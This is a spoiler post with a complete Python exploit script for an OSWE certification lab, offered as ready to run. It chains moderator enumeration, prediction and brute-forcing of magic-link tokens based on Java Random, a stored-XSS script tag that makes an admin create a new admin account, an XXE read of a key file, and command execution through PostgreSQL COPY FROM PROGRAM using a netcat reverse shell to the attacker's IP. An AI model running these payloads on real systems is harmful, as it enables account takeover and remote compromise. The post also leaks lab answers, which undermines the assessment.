[SPOILER] Answers OSWE Lab Exploit
Replace values to the ones you have and you are good to go!
import time
import requests
import base64
import http.cookies
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import http.server
import threading
import random
import urllib.parse
import re
class JavaRandom:
def __init__(self, seed):
self.seed = (seed ^ 0x5DEECE66D) & ((1 << 48) - 1)
self.multiplier = 0x5DEECE66D
self.addend = 0xB
self.mask = (1 << 48) - 1
def next(self, bits):
self.seed = (self.seed * self.multiplier + self.addend) & self.mask
return (self.seed >> (48 - bits))
def next_int(self, bound):
if (bound & -bound) == bound:
return (bound * self.next(31)) >> 31
bits = self.next(31)
val = bits % bound
while bits - val + (bound - 1) < 0:
bits = self.next(31)
val = bits % bound
return val
def findModerator(url):
i = 1
moderators = []
r = requests.Session()
moderatorsUid = []
while i < float('inf'):
a = str(i)
newUrl = url + '/profile/' + a
x = r.get(newUrl, allow_redirects=False)
if x.status_code < 400 and x.status_code >= 300:
break
elif "<div>Moderator</div>" in x.text:
soup = BeautifulSoup(x.text, 'html.parser')
usernames = soup.find_all('div', class_='title')
for username in usernames:
username = username.h2.text # -> choose text from HTML tag
if "admin" in username:
pass
else:
moderators.append(username)
moderatorsUid.append(i)
i += 1
uid = i - 1
j = 0
uidCount = len(moderatorsUid)
moderatorsWithUid = []
while j < uidCount:
moderators = ','.join(str(x) for x in moderators)
moderators = moderators.replace('<h2>','').replace('</h2>','').split(',')
new = moderators[j] + '-' + str(moderatorsUid[j])
moderatorsWithUid.append(new)
j += 1
#.split(',')
print(f"Number of users: {uid}")
print(f"Moderators with UID {moderatorsWithUid}")
return moderatorsWithUid,moderators,uidCount
def timeExec(url,moderator):
newUrl = url + '/generateMagicLink'
myobj = {'username': f'{moderator}'}
start = round(time.time() * 1000 - 300)
x = s.post(newUrl, data = myobj, allow_redirects=False)
end = round(time.time() * 1000 + 300)
print(f"Reset password sent for {moderator}")
return start,end,moderator
def getModeratorUID(moderatorsWithUid,moderator):
for modWithUID in moderatorsWithUid:
if moderator in modWithUID:
uid = modWithUID.replace(f'{moderator}-','')
break
return uid,moderator
def token1(start,end,length,charset):
tokens = []
while start < end:
random = JavaRandom(start)
i = 0
token = []
while i < length:
index = random.next_int(len(charset))
token.append(charset[index])
i += 1
token = ''.join(token)
tokens.append(token)
start += 1
return tokens
def token2(tokens):
allAscii = []
numIndex = (len(tokens) - 1)
i = 0
while i <= numIndex:
theAscii = []
for everyChar in tokens[i]:
theAscii.append(ord(everyChar))
#theAscii = ''.join(str(x) for x in theAscii) -> use to convert list to string
allAscii.append(str(theAscii))
i += 1
return allAscii
def xorToken(allAscii, uid):
asciiIndex = (len(allAscii) - 1)
i = 0
allXors = []
while i <= asciiIndex:
#print(f"listingAscii not as list {allAscii[i]}") # returns [35, 67, 85, 70, 119, 108, 74], but i want ['35','67...]
listingAscii = allAscii[i].replace("[", "").replace("]", "").replace(" ", "").split(",") # string to list using replacement in case if your list is like the oe above
lengthOfListingAscii = len(listingAscii) - 1
j = 0
xor = []
while j <= lengthOfListingAscii:
xorNum = listingAscii[j]
xoring = int(xorNum) ^ uid
xor.append(xoring)
j += 1
allXors.append(str(xor))
i += 1
return asciiIndex,allXors
def xorToBase64(allXors):
xorIndex = (len(allXors) - 1)
i = 0
basedXors = []
while i <= xorIndex:
listingXor = allXors[i].replace("[", "").replace("]", "").replace(" ", "").split(",")
res = ""
for val in listingXor:
res = res + chr(int(val))
sample_string_bytes = res.encode("ascii")
base64_bytes = base64.urlsafe_b64encode(sample_string_bytes)
basedXor = base64_bytes.decode("ascii").rstrip("=")
basedXors.append(basedXor)
#basedXor = base64.urlsafe_b64encode(sample_string_bytes).decode('ascii').rstrip("=") -> oneliner from base64_bytes to basedXor
i += 1
with open(output_file, 'a', encoding='utf-8') as f:
f.write(str(basedXors))
return basedXors
def whichFuckinToken(eachXor,url):
newUrl = url + '/magicLink/' + eachXor
x = s.get(newUrl, allow_redirects=False)
if 'Set-Cookie' in x.headers:
global cookies
cookies = []
cookies.append(x.headers['Set-Cookie'])
print(f"Cookie: {cookies} and token {eachXor}")
def multiThreadTokenCheck(basedXors,url):
with ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(whichFuckinToken, eachXor, url) for eachXor in basedXors]
for future in futures:
future.result()
def login(url,moderator):
x = s.get(url, allow_redirects=False)
if f"Welcome {moderator}" in x.text:
print(f"Logged in as {moderator}")
result = "success"
if "adminka" not in x.text:
logout(url)
else:
result = "fail"
return result
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
randomValue = None
def do_GET(self):
global randomka
global url
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
cookies = []
if 'cookie' in query_params:
value = query_params['cookie'][0]
cookies.append(value)
i = 0
while i < len(cookies):
realCookie = urllib.parse.unquote(cookies[i]) # <- used for urldecode
cookieName,cookieValue = realCookie.split('=') # result is liek this cookiename=cookievalue so I am splitting with = to take left and right parts saperetely
cookies = {f'{cookieName}': f'{cookieValue}'}
r = requests.get(f'{url}', cookies=cookies)
if "Welcome admin" in r.text:
stop_server()
i += 1
if self.path == f'/{randomka}.js':
self.send_response(200)
self.send_header('Content-type', 'application/javascript')
self.end_headers()
CustomHTTPRequestHandler.randomValue = random.randint(100,999)
js_content = f"""
async function createUser() {{
const url = '{url}/admin/users/create';
const data = new URLSearchParams({{
name: 'adminka{CustomHTTPRequestHandler.randomValue}',
email: 'adminka{CustomHTTPRequestHandler.randomValue}@loc.loc',
isAdmin: 'true',
isMod: 'true'
}});
try {{
const response = await fetch(url, {{
method: 'POST',
mode: 'no-cors',
headers: {{
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}},
body: data.toString(),
}});
const result = await response.text();
console.log('Response:', result);
}} catch (error) {{
console.error('Error:', error);
}}
}}
createUser();
"""
self.wfile.write(js_content.encode('utf-8'))
else:
self.send_response(404)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(b'Resource not found')
def startServer(port):
server_address = ('0.0.0.0', port)
httpd = http.server.HTTPServer(server_address, CustomHTTPRequestHandler)
print(f"Starting server on port {port} <- this is when you click Simulate in debugger lab...")
def shutdown_server_after_delay():
time.sleep(10)
stop_server(httpd)
threading.Thread(target=shutdown_server_after_delay, daemon=True).start()
httpd.serve_forever()
def stop_server(httpd):
httpd.shutdown()
def findAdmin(url,randomAdmin):
i = 0
admins = []
r = requests.Session()
adminsUid = []
while i < float('inf'):
a = str(i + 1)
newUrl = url + '/profile/' + a
x = r.get(newUrl, allow_redirects=False)
if x.status_code < 400 and x.status_code >= 300:
break
elif f"<h2>adminka{randomAdmin}</h2>" in x.text:
soup = BeautifulSoup(x.text, 'html.parser')
usernames = soup.find_all('div', class_='title')
for username in usernames:
username = username.find('h2')
admins.append(username)
adminsUid.append(a)
i += 1
uid = i
j = 0
uidCount = len(adminsUid) - 1
adminsWithUid = []
while j <= uidCount:
admins = ','.join(str(x) for x in admins)
admins = admins.replace('<h2>','').replace('</h2>','').split(',')
new = admins[j] + '-' + str(adminsUid[j])
adminsWithUid.append(new)
j += 1
#.split(',')
print(f"Number of users: {uid}")
print(f"Admin we created with UID {adminsWithUid}")
return adminsWithUid,admins,uidCount
def sendPayload(url, serverIP, port):
global randomka
newUrl = url + '/question'
randomka = random.randint(10000,99999)
payload = {'title' : f'hmm{randomka}', 'description' : f'a<script src=http://{serverIP}:{port}/{randomka}.js></script>em>', 'category': '1'}
payload = urllib.parse.urlencode(payload) # <- urlencode
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
if x.status_code == 200:
i = 0
while i < float('inf'):
threadUrl = url + f'/thread/{i}'
x = s.get(threadUrl, allow_redirects=False)
soup = BeautifulSoup(x.text, 'html.parser')
titles = soup.find('div', class_='title')
randomka = str(randomka)
if x.status_code == 200:
if f'{randomka}' in titles.h2.text:
realThread = i
newUrl = url + '/moderate/' + str(realThread)
payload = {'active': 'true', 'mod': 'true'}
x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
break
i += 1
return realThread
def logout(url):
out = url + '/logout'
x = s.get(out, allow_redirects=True)
def getAdminKey(url):
keyUrl = url + '/admin/import'
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
xmldata = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///home/student/adminkey.txt"> ]> <database> <users> <user> <id>5</id> <username>Carl</username> <password>&example;</password> <isAdmin>false</isAdmin> <isMod>true</isMod> <email>[email protected]</email> </user> </users> </database>'
payload = {'preview':'true', 'xmldata':f'{xmldata}'}
payload = urllib.parse.urlencode(payload)
x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
match = re.search(r'<password>(.*?)</password>', x.text, re.DOTALL) #parse from to and remove newlines
key = match.group().replace('<password>', '').replace('</password>','').strip()
return key
def blindRCE(url,key,command):
keyUrl = url + '/admin/query'
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
payload = {'adminKey': f'{key}', 'query': f"CREATE TABLE adminka{randomka}(output text);COPY adminka{randomka} FROM PROGRAM '{command}';"}
payload = urllib.parse.urlencode(payload)
x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
if x.status_code == 200:
match = re.search(r'<p>(.*?)</p>', x.text, re.DOTALL) #parse from to
response = match.group().replace('<p>', '').replace('</p>','')
print(f"Response of your command is {response}")
if __name__ == "__main__":
print(f"Exploit by exploit.az")
#start = 1729775854793
#end = 1729775854795
#uid = 7
url = 'http://192.168.196.251' #Input IP address of the lab
command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.171 4444 >/tmp/f' #change it
serverIP = '192.168.45.171' #Input IP address of your machine
port = 8000
randomka = None
s = requests.Session()
output_file = "tokens.txt"
length = 42
charset = "abcdefghijklmnopqrstuvwxyz" + "abcdefghijklmnopqrstuvwxyz".upper() + "1234567890" + "!@#$%^&*()"
moderatorsWithUid,moderators,uidCount = findModerator(url)
k = 0
while k < uidCount:
start,end,moderator = timeExec(url,moderators[k])
uid,moderator = getModeratorUID(moderatorsWithUid,moderator)
uid = int(uid)
print(f"UID of {moderator} is {uid}")
tokens = token1(start,end,length,charset)
#tokens = '\n'.join(tokens) -> use to convert list to string
allAscii = token2(tokens)
#allAscii = '\n'.join(allAscii) -> just for the view, it converts [[1],[2]] into [1] \n [2]
asciiIndex,allXors = xorToken(allAscii, uid)
basedXors = xorToBase64(allXors)
multiThreadTokenCheck(basedXors, url)
result = login(url,moderator)
if "success" in result:
realThread = sendPayload(url, serverIP, port)
print(f"Number of thread I created is {realThread}")
startServer(port)
randomAdmin = CustomHTTPRequestHandler.randomValue
adminsWithUid,admins,uidCount = findAdmin(url,randomAdmin)
j = 0
while j <= uidCount:
start,end,admin = timeExec(url,admins[j])
uid,admin = getModeratorUID(adminsWithUid,admin)
uid = int(uid)
print(f"UID of {admin} is {uid}")
tokens = token1(start,end,length,charset)
allAscii = token2(tokens)
asciiIndex,allXors = xorToken(allAscii, uid)
basedXors = xorToBase64(allXors)
multiThreadTokenCheck(basedXors, url)
result = login(url,admin)
if "success" in result:
key = getAdminKey(url)
blindRCE(url,key,command)
j += 1
break
j += 1
break
k += 1